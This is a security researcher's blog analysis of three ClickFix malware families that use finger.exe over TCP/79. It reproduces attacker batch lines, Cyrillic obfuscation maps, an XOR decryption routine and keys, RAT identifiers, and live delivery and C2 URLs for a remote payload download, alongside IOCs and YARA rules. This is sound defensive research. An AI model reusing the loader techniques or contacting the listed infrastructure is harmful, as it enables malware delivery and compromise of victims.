Thirty days of finger commands: three ClickFix families, one TCP/79 delivery vector
25 finger commands over approximately 30 days, three ClickFix families, one TCP/79 delivery vector: IronPython loader, Python RAT lspy, and a pre-positioned DigitalOcean staging cluster.
The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.
TL;DR
After my earlier write-up on the spiorist[.]com chain, I got curious and pulled up to approximately 30 days of similar telemetry to see what else was using the same delivery vector. Twenty-five suspicious
fingercommands came back, all shaped like ClickFix lures directing victims to runfinger <nonce>@<domain>from a Run dialog. Triaging every one turned up three distinct families: an IronPython loader (Family 1, 8 live delivery domains) delivering an XOR-encrypted x86 shellcode chain tied to two live C2 domains; a custom Python RAT named “lspy” (Family 2) staging over BunnyCDN and beaconing via WebSocket/TLS; and a cluster of pre-positioned DigitalOcean servers (Family 3) that never served payloads but showed active Tor-managed operator sessions. This is a follow-up to my earlier write-up on the spiorist.com chain - expanded from one domain to 25. All analysis was static; no payloads were detonated in a controlled environment.If this is your fleet, do these first:
- Block outbound TCP/79 and alert on
finger.exewith@in arguments - Event ID 4688, near-zero false positive- Search proxy and EDR logs for
6d6d2d17-d270-59c6-8b75-df011af08e58- Family 1 campaign GUID, near-zero expected false positive rate- Search for mutex
MerlinMonroeBlondand named pipe\\.\pipe\PipingMet- Family 2 near-zero FP indicators- Block interpreter execution from user-writable paths via Application Control - blocks both families at the interpreter stage
Full IOCs and detection rules at the bottom.
Thirty days of finger commands
In May I wrote up a ClickFix chain using finger.exe to deliver a seven-stage IronPython loader through a domain called spiorist[.]com. The post covered the chain in detail - batch loader, Cyrillic-obfuscated Python, XOR shellcode running inside the IronPython interpreter’s address space. I thought it was interesting enough to write up, but I expected it to be a one-off.
It wasn’t. After that post went up I got curious and pulled up to approximately 30 days of similar telemetry to see if anything else was using the same delivery vector. Twenty-five suspicious finger commands came back, all with the same pattern — finger <nonce>@<domain> from a Run dialog, consistent with ClickFix social engineering — but across entirely different domains. I triaged all 25.
What came back was three distinct families operating over the same delivery vector. That’s the part I didn’t expect.
One thing to be clear about up front: this entire investigation was static. No payloads were detonated in a sandbox or controlled Windows environment. Where I describe the Family 1 chain ending in “an encrypted MSI installer”, I mean that’s as far as static analysis takes it. The ~297 KB encrypted blob at stage 4 requires the runtime decryption key to open, which means the final payload is unknown. I’ve noted the static analysis boundary everywhere it matters.
Defender quick reference
| Field | Details |
|---|---|
| Activity type | Multi-family ClickFix campaign; finger.exe LOLBin delivery; IronPython loader + x86 shellcode (Family 1); custom Python RAT with WebSocket C2 (Family 2); pre-positioned staging infrastructure (Family 3) |
| Primary artifacts | finger.exe with @ in args; %LocalAppData%\IronPython.3.4.2\; C:\ProgramData\lspy\; mutex MerlinMonroeBlond; pipe \\.\pipe\PipingMet; GUID 6d6d2d17-d270-59c6-8b75-df011af08e58; C2s youndor[.]com, noidoret[.]com, staruxasosiska[.]com |
| Verdict | Malicious |
| Confidence | High - all stages decoded statically; shellcode disassembled; Family 2 RAT payload fully recovered; 8 live delivery domains served active payloads at triage |
| Key logs | Event ID 4688 (finger.exe, taskkill, tar.exe, cmd.exe chains); Sysmon 1/3/11/17/18; firewall/proxy for outbound TCP/79; proxy logs for campaign GUID in HTTP paths |
| ATT&CK | T1204.002, T1059.003, T1059.006, T1218, T1036, T1027, T1562.001, T1547.001, T1071.001, T1573.001, T1105, T1055 |
| First defender actions | Block outbound TCP/79; alert on finger.exe execution (4688); search for campaign GUID; Application Control on interpreter execution from user-writable paths |
| Detection opportunities | GUID 6d6d2d17-d270-59c6-8b75-df011af08e58 in proxy logs; mutex MerlinMonroeBlond; pipe \\.\pipe\PipingMet; directory %LocalAppData%\IronPython.3.4.2\; pythonw.exe in C:\ProgramData\ spawned by powershell.exe |
| False-positive notes | No false positives identified in the campaign IOC set. |
The attack at a glance
Family 1 (IronPython / MSI dropper - 8 live delivery domains):
- Initial access - ClickFix social engineering; victim pastes
finger <nonce>@<domain>into Run dialog - Stage 1 - Finger server returns a 115-line batch script (first 80 lines blank as anti-scroll padding); renames curl.exe to a random .com file, kills Explorer, downloads IronPython 3.4.2 from GitHub as a .pdf, extracts with tar.exe, renames ipyw32.exe
- Stage 2 - IronPython runs an inline zlib+base64+UTF-32 Python stager that fetches obfuscated Python from a GUID-keyed C2 URL
- Stage 3 - C2 Python uses Cyrillic character substitution to hide base64; once decoded, XOR-decrypts 8,912 bytes of x86 shellcode and executes from executable heap memory inside the IronPython process
- Stage 4 - Shellcode downloads ~297 KB encrypted payload from C2 (static analysis boundary - payload not recovered)
Family 2 (Python RAT “lspy” - 1 confirmed delivery domain):
- Initial access - Same ClickFix pattern; finger response is plaintext PowerShell with no batch obfuscation
- Stage 1 - PowerShell downloads a 16 MB ZIP from BunnyCDN; extracts portable Python 3.10 plus two ChaCha20-encrypted .pyc files to
C:\ProgramData\lspy\ - Stage 2 -
pythonw.exe install.pycruns windowless; creates a Startup LNK for persistence; beacons tostaruxasosiska[.]com:443over WebSocket/TLS
Family 3 (linked* staging cluster - 6 domains, no payloads served):
- Six “linked*” branded DigitalOcean VPSes had active finger daemons but returned no payloads during the triage window
- Blank finger queries disclosed SSH sessions originating from Tor exit nodes, logged in within 30-72 minutes of domain registration on multiple servers
How it works
Family 1 - the batch loader
Family 1 is a direct continuation of the spiorist[.]com campaign. The same batch template runs across 13 delivery domains, rotating only variable names, finger nonces, and XOR keys per domain. Five strings appear unchanged across every batch script - these are the detection anchors:
tar -xf "...pdf"- extracting the IronPython archive disguised as a .pdf filerename ... net462\ipyw32.exe- renaming the interpreter executable to a random filenametaskkill /f /fi "IMAGENAME eq explor*"- killing Explorer mid-install- The string
IronPython.3.4.2- present in the directory name, the GitHub download URL, and the version constant .decode('utf-32')- the encoding method used in the IronPython-cinline argument
In the batch script, items 1-3 look like this:
1
2
3
call tar -xf "%IRONPY_DIR%.pdf" -C "%IRONPY_DIR%"
call rename "%IRONPY_DIR%\net462\ipyw32.exe" "%RENAMED_EXE%"
call taskkill /f /fi "IMAGENAME eq explor*"
The three LOLBin moves - curl.exe renamed to a .com file, IronPython zip saved as .pdf and extracted by tar.exe, ipyw32.exe renamed to a random filename - are the same as the spiorist[.]com chain. The taskkill /f /fi "IMAGENAME eq explor*" is worth noting: killing Explorer removes the taskbar, disrupts shell-extension tooling during install, and is immediately reversed by start explorer at the end. The victim sees a brief screen flicker.
This chain is part of the broader pattern of LOLBin and living-off-the-land tradecraft where Microsoft-signed inbox binaries are repurposed to stage or execute malware - here, finger.exe, curl.exe, tar.exe, and IronPython back to back.
Family 1 - the Cyrillic trick and the shellcode
Stage 2 is the interesting part. The Python returned from the C2 contains what looks like a base64 blob - but paste it into a decoder and it fails. The reason: nine ASCII characters that would appear in valid base64 have been swapped out for visually similar Cyrillic code points. The blob looks like base64, the glyphs mostly look like ASCII on a quick scan, but the underlying code points are wrong.
There are two substitution mappings, one per C2 domain:
1
2
3
4
5
6
7
8
9
10
11
12
13
# version7 / youndor[.]com -- Cyrillic char : ASCII char it replaces
cyrillic_map_A = {
'с': 'l', 'а': '3', 'Ш': '5',
'Р': 'H', 'Х': 'i', 'ц': '6',
'ж': 'g', 'У': 'u', 'Л': '7',
}
# version2 / noidoret[.]com
cyrillic_map_B = {
'о': '6', 'С': 'd', 'В': 'C',
'М': 'e', 'б': 'U', 'и': 'V',
'Ё': 'u', 'Н': '9', 'т': 'S',
}
Apply the right mapping to swap every Cyrillic code point back to its ASCII equivalent, and the blob becomes valid base64. Decode that, and you get the XOR decryption function plus the shellcode ciphertext:
1
2
3
4
5
6
7
8
def xor_decrypt(data, key):
return bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
# version7 / youndor[.]com path - 21-byte key
key_a = bytes.fromhex("70ce4f76a39b315cbc1ee201e9dc8d87cc21436ce3")
# version2 / noidoret[.]com path - 13-byte key
key_b = bytes.fromhex("a1c087fef519eaa493786a4661")
Two XOR key variants map neatly to the two C2 domains. Every delivery domain routes through one or the other. The highest-fidelity signal in the whole chain is the campaign GUID embedded in the C2 URL path: 6d6d2d17-d270-59c6-8b75-df011af08e58. That string appears verbatim across every delivery domain and both C2 endpoints, in both the stage 2 download URL and the shellcode’s hardcoded callback path. If it appears in your proxy logs, a victim reached stage 2.
The shellcode uses HeapCreate(0x00040000) to allocate executable heap memory, copies itself in via RtlMoveMemory, and executes through a ctypes function pointer. No new process spawns. The shellcode runs inside the IronPython interpreter.
Family 2 - the Python RAT
Family 2 is a separate operation. The finger response is four lines of PowerShell with no batch obfuscation: download a ZIP from BunnyCDN (hxxps://valval-cloud[.]b-cdn[.]net/build.zip, 16 MB), extract to C:\ProgramData\lspy\, run pythonw.exe install.pyc windowless, create a Startup LNK for persistence. Clean compared to Family 1.
The .pyc files are ChaCha20-encrypted with the key and nonce hardcoded as integer constants in the bytecode. Once decrypted, the RAT is ~32 KB of Python using ctypes Win32 bindings:
1
2
3
4
# High-fidelity indicators from the decrypted RAT source
mutex = ctypes.windll.kernel32.CreateMutexW(None, True, "MerlinMonroeBlond")
pipe = "\\\\.\\pipe\\PipingMet" # named pipe for in-memory shellcode delivery
AUTH = b"1n9YT@Kia!enROr=" # 16-byte XOR auth key; confirmed shared across builds
The auth key is confirmed shared across two delivery domains - that’s the cross-sample clustering signal for Family 2. The C2 was live and accepting connections at triage time. Any host that ran the wegrefamou[.]com finger command may be under active control.
Worth noting: the operator’s development path is baked into every compiled .pyc file: C:\Bot\projects\LOADER\PS_PythonLOADER\Piton10\memchacharunpy.py. “Piton” is Russian for Python. Alongside the Cyrillic substitution technique in Family 1, these are data points - worth noting, not worth concluding from.
Family 3 - the staging cluster
Six “linked*” branded domains (linkedngo, linked4x, linkedwiz, linkedlet, ilinkedx, claudefos) all resolve their finger subdomains to DigitalOcean AS14061 New Jersey VPSes. None served payloads during the triage window - blank user queries returned “no such user”.
The interesting part is the operator tradecraft. A blank finger query against a standard Unix fingerd discloses logged-in users. Across three of these servers I found SSH sessions originating from Tor exit nodes, with login timestamps within 30-72 minutes of domain registration. One server (linkedwiz[.]com) had a session that had not gone idle at triage time. The operator configures servers through Tor, then goes quiet and waits.
These are either pre-positioned infrastructure waiting for a campaign trigger, or the provisioned usernames were burned before I reached them.
Techniques observed (MITRE ATT&CK)
The following techniques have been mapped to MITRE ATT&CK for future reference.
| Tactic | Technique | ATT&CK ID | What it did here |
|---|---|---|---|
| Initial Access | User Execution: Malicious Link | T1204.002 | ClickFix social engineering; victim pastes finger command into Run dialog |
| Execution | Windows Command Shell | T1059.003 | Batch loader in finger Plan: field (Family 1) |
| Execution | Python | T1059.006 | IronPython stager (Family 1); Python RAT and dropper (Family 2) |
| Execution | System Binary Proxy Execution | T1218 | finger.exe as dropper; tar.exe extracting .pdf archive; pythonw.exe running .pyc files |
| Defense Evasion | Masquerading | T1036 | curl.exe renamed to .com file; IronPython zip saved as .pdf extension |
| Defense Evasion | Obfuscated Files or Information | T1027 | Cyrillic character substitution (Family 1); zlib+base64+UTF-32; ChaCha20 .pyc encryption (Family 2) |
| Defense Evasion | Impair Defenses: Disable or Modify Tools | T1562.001 | taskkill on explorer.exe during install; immediately restarted |
| Persistence | Boot or Logon Autostart: Startup Folder | T1547.001 | Python_*.lnk in Startup folder (Family 2) |
| Command and Control | Application Layer Protocol: Web Protocols | T1071.001 | HTTPS payload staging; WebSocket over TLS (Family 2) |
| Command and Control | Encrypted Channel: Symmetric Cryptography | T1573.001 | ChaCha20 payload decryption; TLS WebSocket C2 (Family 2) |
| Command and Control | Ingress Tool Transfer | T1105 | IronPython 3.4.2 from GitHub; build.zip from BunnyCDN (Family 2) |
| Execution | Process Injection | T1055 | Shellcode in executable heap (HeapCreate + RtlMoveMemory + CFUNCTYPE) inside IronPython process |
Why this matters
Family 1 is an active, maintained campaign. Thirteen delivery domains registered across seven weeks, two live C2 domains, per-domain key rotation, and a single campaign GUID linking every sample to the same build system. The final payload could not be recovered statically - the ~297 KB encrypted blob at stage 4 requires runtime decryption. What the shellcode does confirm is a UAC elevation step via ShellExecuteA verb="runas", suggesting the final installer wants elevated privileges. The infrastructure investment points to a real objective.
Family 2 is clearer: a full-featured remote access tool with interactive shell, in-memory shellcode delivery, file drop-and-execute, and self-deletion. The C2 was live at triage time.
Neither family has been attributed to a known named group. There are cultural indicators worth noting alongside the technical evidence - Cyrillic substitution as an obfuscation technique, a Russian word for Python in the operator’s dev path, a palindromic domain name with a Slavic first name - but those are data points, not a conclusion.
What defenders can do
| Technique (ATT&CK) | What to do | Essential Eight | What to hunt for |
|---|---|---|---|
| finger.exe delivery (T1218) | Block outbound TCP/79 at perimeter; block finger.exe via Application Control | Application Control; no direct E8 home for TCP/79 egress block | Event ID 4688 for finger.exe execution; firewall logs for outbound TCP/79 |
| Batch/cmd loader (T1059.003) | Application Control restricting cmd.exe spawned from unusual parents | Application Control | Event ID 4688: cmd.exe with taskkill, IMAGENAME eq explor*, or tar.exe *.pdf in a short window |
| IronPython LOLBin (T1218 + T1059.006) | Application Control on ipyw32.exe and renamed copies; deny execution from %LocalAppData% | Application Control | Directory creation %LocalAppData%\IronPython.3.4.2\; tar.exe extracting .pdf files; any process from %LocalAppData%\IronPython.*\net462\ |
| Python RAT via pythonw.exe (T1059.006) | Application Control blocking pythonw.exe outside approved locations; deny from C:\ProgramData\ | Application Control | Sysmon Event ID 1: pythonw.exe in C:\ProgramData\ spawned by powershell.exe |
| Startup LNK persistence (T1547.001) | Application Control still blocks the payload at execution even if the LNK lands | Application Control | Sysmon Event ID 11: file creation in Startup folder matching Python_*.lnk |
| WebSocket/TLS C2 (T1071.001 + T1573.001) | Proxy with TLS inspection; DNS reputation filtering for recently-registered domains | No direct E8 home - network architecture | WebSocket upgrade requests from pythonw.exe; outbound port 443 from C:\ProgramData\ processes |
| In-memory shellcode (T1055) | Application Control on the interpreter process is the practical chokepoint; no direct E8 home for in-memory injection itself | Application Control (at interpreter layer) | HeapCreate with execute flag followed by RtlMoveMemory from a script interpreter process; Sysmon Event ID 10 |
Block outbound TCP/79
This is the single highest-impact control for all three families. finger.exe has no legitimate enterprise use case I can think of. Blocking outbound TCP/79 at the perimeter and alerting on any finger.exe process creation with @ in the arguments costs essentially nothing - Event ID 4688 for finger.exe fires approximately never in a healthy environment. TCP/79 egress blocking falls under egress filtering in the broader 37-strategy set covered by Strategies to Mitigate Cyber Security Incidents - Mitigation Details; it does not map cleanly to one of the Essential Eight, but it is the highest-leverage one-liner in this post.
Implementing Application Control (November 2023) is the right companion: a deny rule on finger.exe execution via WDAC or AppLocker cuts the chain at stage zero regardless of firewall state.
Application Control for the interpreter chain
Both Family 1 and Family 2 need to land an interpreter in a user-writable directory and execute it. Application Control blocks ipyw32.exe or any renamed copy from running under %LocalAppData%, and blocks pythonw.exe from running under C:\ProgramData\lspy\. The malware cannot pre-whitelist the drop path because it varies per victim. Even a basic path-based rule creates friction the chain cannot easily work around.
For Family 2’s PowerShell dropper, PowerShell Constrained Language Mode strips the System.IO.Compression surface the dropper uses to extract the ZIP. See Securing PowerShell in the Enterprise (October 2021) for the relevant policy settings.
Hunt on the GUID first
Search proxy and EDR logs for 6d6d2d17-d270-59c6-8b75-df011af08e58. This string appears verbatim in the HTTP path every time a Family 1 victim reaches the C2, across all eight delivery domains and both C2 endpoints. The expected false positive rate in any production environment is near-zero. A hit means a victim made it past stage 2 and the ~297 KB encrypted payload was likely downloaded. For Family 2, MerlinMonroeBlond as a mutex and \\.\pipe\PipingMet as a named pipe are the equivalent zero-FP indicators.
Hunting and detection summary
- Outbound TCP/79 - firewall or proxy logs; alert immediately; block where possible
finger.exeprocess creation with@in command line - Event ID 4688, near-zero FP in enterprise- Campaign GUID in HTTP proxy logs -
6d6d2d17-d270-59c6-8b75-df011af08e58- near-zero expected FP - Directory creation
%LocalAppData%\IronPython.3.4.2\- Sysmon Event ID 11 tar.exeextracting a.pdffile - Event ID 4688 for tar.exe with.pdfin argumentstaskkill.exewithIMAGENAME eq explor*- unusual pattern; high-signal Family 1 tellpythonw.exeinC:\ProgramData\spawned bypowershell.exe- Sysmon Event ID 1- Startup LNK matching
Python_*.lnk- Sysmon Event ID 11 on Startup folder path - Mutex
MerlinMonroeBlond- Sysmon Event ID 17/18 or EDR memory scan; near-zero FP - Named pipe
\\.\pipe\PipingMet- Sysmon Event ID 17/18; near-zero FP Chrome/143.0.0.0in User-Agent - not a real Chrome release; Family 1 shellcode hardcoded UA- WebSocket upgrade from
pythonw.exe- network flow analysis on port 443
The YARA rules, Sigma detections, KQL queries, and IOC list for this campaign are also available in the companion detection repo.
Indicators of Compromise
Family 1 - IronPython / MSI dropper
| Type | Indicator | Notes |
|---|---|---|
| Domain (delivery) | leafdusts[.]com | Live at triage; Cogent IP 38[.]110[.]228[.]223 |
| Domain (delivery) | healotod[.]com | Live at triage; Cogent IP 38[.]110[.]228[.]157 |
| Domain (delivery) | griontera[.]com | Live at triage; Cogent IP 38[.]110[.]228[.]124 |
| Domain (delivery) | swndoin[.]com | Live at triage; IP 23[.]27[.]180[.]166 |
| Domain (delivery) | gioltan[.]com | Live at triage; IP 23[.]27[.]180[.]164 |
| Domain (delivery) | violonq[.]com | Live at triage; IP 185[.]233[.]166[.]58 |
| Domain (delivery) | quntont[.]com | Live at triage; IP 185[.]233[.]166[.]162 |
| Domain (delivery) | artdeniart[.]com | Live at triage; IP 155[.]117[.]20[.]171 |
| Domain (monitor) | glorrpotte[.]com | NXDOMAIN at triage; confirmed campaign infra |
| Domain (monitor) | voliorer[.]com | NXDOMAIN at triage; confirmed campaign infra |
| Domain (monitor) | loipolo[.]com | NXDOMAIN at triage; confirmed campaign infra |
| Domain (monitor) | koilonda[.]com | NXDOMAIN at triage; cluster by naming pattern only |
| Domain (monitor) | swidont[.]com | NXDOMAIN at triage; anagram of swndoin[.]com |
| Domain (C2) | youndor[.]com | Active C2; IP 38[.]146[.]25[.]181 (Cogent) |
| Domain (C2) | noidoret[.]com | Active C2; IP 50[.]114[.]167[.]195 (IPXO) |
| IP | 38[.]110[.]228[.]223 | leafdusts[.]com; Cogent /24 cluster |
| IP | 38[.]110[.]228[.]157 | healotod[.]com; Cogent /24 cluster |
| IP | 38[.]110[.]228[.]124 | griontera[.]com; Cogent /24 cluster |
| IP | 23[.]27[.]180[.]166 | swndoin[.]com delivery |
| IP | 23[.]27[.]180[.]164 | gioltan[.]com delivery |
| IP | 185[.]233[.]166[.]58 | violonq[.]com delivery |
| IP | 185[.]233[.]166[.]162 | quntont[.]com delivery |
| IP | 155[.]117[.]20[.]171 | artdeniart[.]com; Hostinger US |
| IP | 38[.]146[.]25[.]181 | youndor[.]com C2; Cogent |
| IP | 50[.]114[.]167[.]195 | noidoret[.]com C2; IPXO |
| String | 6d6d2d17-d270-59c6-8b75-df011af08e58 | Campaign GUID; present in every C2 URL path; near-zero FP pivot |
| XOR key | 70ce4f76a39b315cbc1ee201e9dc8d87cc21436ce3 | 21-byte; version7/youndor[.]com path |
| XOR key | a1c087fef519eaa493786a4661 | 13-byte; version2/noidoret[.]com path |
| URL | hxxps://youndor[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/version7 | Stage 2 Python payload |
| URL | hxxps://noidoret[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/version2 | Stage 2 Python payload |
| URL | hxxps://youndor[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/callback7 | Encrypted stage 4 payload; 297,615 bytes |
| URL | hxxps://noidoret[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/callback2 | Encrypted stage 4 payload; 297,103 bytes |
| SHA256 | 2e90bc34f65407ec989ed385e051b00a56831de57ef57f95bd2e93fccfca11a8 | Stage 5 PE stub; identical across gioltan[.]com, violonq[.]com, swndoin[.]com |
| SHA256 | 293589729fac519ab5c5eaf7250c980957c7c4c6acc6bc39bf24a0a98242d3bd | Stage 5 PE dropper (spiorist[.]com investigation) |
| Path | %LocalAppData%\IronPython.3.4.2\ | Constant drop directory across all Family 1 samples |
| User-Agent | Chrome/143.0.0.0 | Not a real Chrome release; hardcoded in Family 1 shellcode |
Family 2 - Python RAT (lspy)
| Type | Indicator | Notes |
|---|---|---|
| Domain (delivery) | wegrefamou[.]com | Live at triage; IP 87[.]199[.]194[.]70 (VDSINA NL) |
| Domain (delivery, prior intel) | marblecologrgr[.]com | Prior intel only; shared auth key with wegrefamou[.]com |
| Domain (C2) | staruxasosiska[.]com | Active C2; IP 95[.]133[.]228[.]65 (servinga[.]com DE) |
| Domain (C2) | starayadaet[.]com | Active C2; same IP as staruxasosiska[.]com |
| IP | 87[.]199[.]194[.]70 | wegrefamou[.]com delivery; VDSINA NL |
| IP | 95[.]133[.]228[.]65 | staruxasosiska[.]com + starayadaet[.]com C2 |
| IP | 103[.]216[.]220[.]9 | BunnyCDN edge node serving build.zip; Host Universal AU |
| URL | hxxps://valval-cloud[.]b-cdn[.]net/build.zip | 16 MB RAT payload ZIP; BunnyCDN pull-zone 6019021 |
| SHA256 | b1e2d43782d1e6f947eb93526b4fe4009d24d211730644f1f8a5a4e9a7597a5a | build.zip |
| SHA256 | c9ab438796cf4c720fd9129ca3b0c3b55b96849770dd9e5d8a86f9ee6923b3fd | Install.pyc (wegrefamou[.]com) |
| Mutex | MerlinMonroeBlond | Near-zero FP; unique Family 2 identifier |
| Named pipe | \\.\pipe\PipingMet | In-memory shellcode delivery channel; near-zero FP |
| Auth key | 1n9YT@Kia!enROr= | 16-byte C2 XOR auth; shared across confirmed Family 2 builds |
| Path | C:\ProgramData\lspy\ | Family 2 RAT install directory |
| Startup LNK | %STARTUP%\Python_*.lnk | Persistence mechanism |
| Build path | C:\Bot\projects\LOADER\PS_PythonLOADER\ | Operator dev path embedded in all .pyc files |
Family 3 - linked* staging infrastructure (block / monitor)
| Type | Indicator | Notes |
|---|---|---|
| Domain | linkedngo[.]com | DO AS14061 NJ 162[.]243[.]34[.]41; Tor operator observed; no payload served |
| Domain | linked4x[.]com | DO AS14061 NJ 64[.]225[.]52[.]81; no payload served |
| Domain | linkedwiz[.]com | DO AS14061 NJ 162[.]243[.]213[.]197; active Tor operator at triage |
| Domain | linkedlet[.]com | DO AS14061 NJ 162[.]243[.]16[.]117; Tor operator idle 13 days |
| Domain | ilinkedx[.]com | DO AS14061 NJ 162[.]243[.]82[.]232; TCP/79 filtered |
| Domain | claudefos[.]com | DO AS14061 NJ 167[.]71[.]102[.]121; TCP/79 filtered |
| IP | 162[.]243[.]34[.]41 | linkedngo[.]com |
| IP | 64[.]225[.]52[.]81 | linked4x[.]com |
| IP | 162[.]243[.]213[.]197 | linkedwiz[.]com |
| IP | 162[.]243[.]16[.]117 | linkedlet[.]com |
| IP | 162[.]243[.]82[.]232 | ilinkedx[.]com |
| IP | 167[.]71[.]102[.]121 | claudefos[.]com |
Detection rules
/*
* ClickFix finger LOLBIN campaign -- YARA detection rules
* Date: 2026-06-17
* Reference: https://blueteam.cool/posts/clickfix-finger-lolbin-campaign/
*/
rule ClickFix_Family1_CampaignGUID {
meta:
author = "Luke Wilkinson"
date = "2026-06-17"
description = "Family 1 campaign GUID -- single highest-fidelity pivot; near-zero expected FP"
reference = "https://blueteam.cool/posts/clickfix-finger-lolbin-campaign/"
strings:
$guid = "6d6d2d17-d270-59c6-8b75-df011af08e58" ascii wide
condition:
$guid
}
rule ClickFix_Family1_BatchLoader {
meta:
author = "Luke Wilkinson"
date = "2026-06-17"
description = "Family 1: IronPython batch loader template -- five constant strings from finger Plan field"
reference = "https://blueteam.cool/posts/clickfix-finger-lolbin-campaign/"
strings:
$ironpython = "IronPython.3.4.2" ascii wide
$github_dl = "IronLanguages/ironpython3/releases/download/v3.4.2" ascii wide
$ipyw32 = "ipyw32.exe" ascii
$explorer = "IMAGENAME eq explor" ascii
$utf32 = ".decode('utf-32')" ascii
condition:
3 of them
}
rule ClickFix_Family2_lspy_PythonRAT {
meta:
author = "Luke Wilkinson"
date = "2026-06-17"
description = "Family 2: lspy Python RAT -- high-fidelity strings from decrypted payload"
reference = "https://blueteam.cool/posts/clickfix-finger-lolbin-campaign/"
c2 = "staruxasosiska[.]com / starayadaet[.]com"
strings:
$mutex = "MerlinMonroeBlond" ascii wide
$pipe = "\\\\.\\pipe\\PipingMet" ascii wide
$authkey = "1n9YT@Kia!enROr=" ascii
$devpath = "memchacharunpy" ascii wide
$c2_a = "staruxasosiska.com" ascii wide
$c2_b = "starayadaet.com" ascii wide
condition:
any of them
}
Closing
TCP/79 is still sitting quietly on Windows machines across virtually every enterprise fleet, technically functional, practically invisible. Over 25 domains over approximately 30 days, at least two separate operator groups used it as their ClickFix delivery channel. The delivery vector is the same; the payloads diverge entirely. The single most useful thing from this investigation: block outbound TCP/79, alert on finger.exe, and search your proxy logs for that campaign GUID right now. The infrastructure is still live.
Stay curious.
On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.
References
- MITRE ATT&CK: T1204.002, T1059.003, T1059.006, T1218, T1036, T1027, T1562.001, T1547.001, T1071.001, T1573.001, T1105, T1055
- ASD/ACSC: Implementing Application Control (November 2023), Securing PowerShell in the Enterprise (October 2021), Strategies to Mitigate Cyber Security Incidents - Mitigation Details
- Previous investigation: Seven layers of obfuscation, one 1970s LOLBIN: pulling apart a ClickFix chain through finger.exe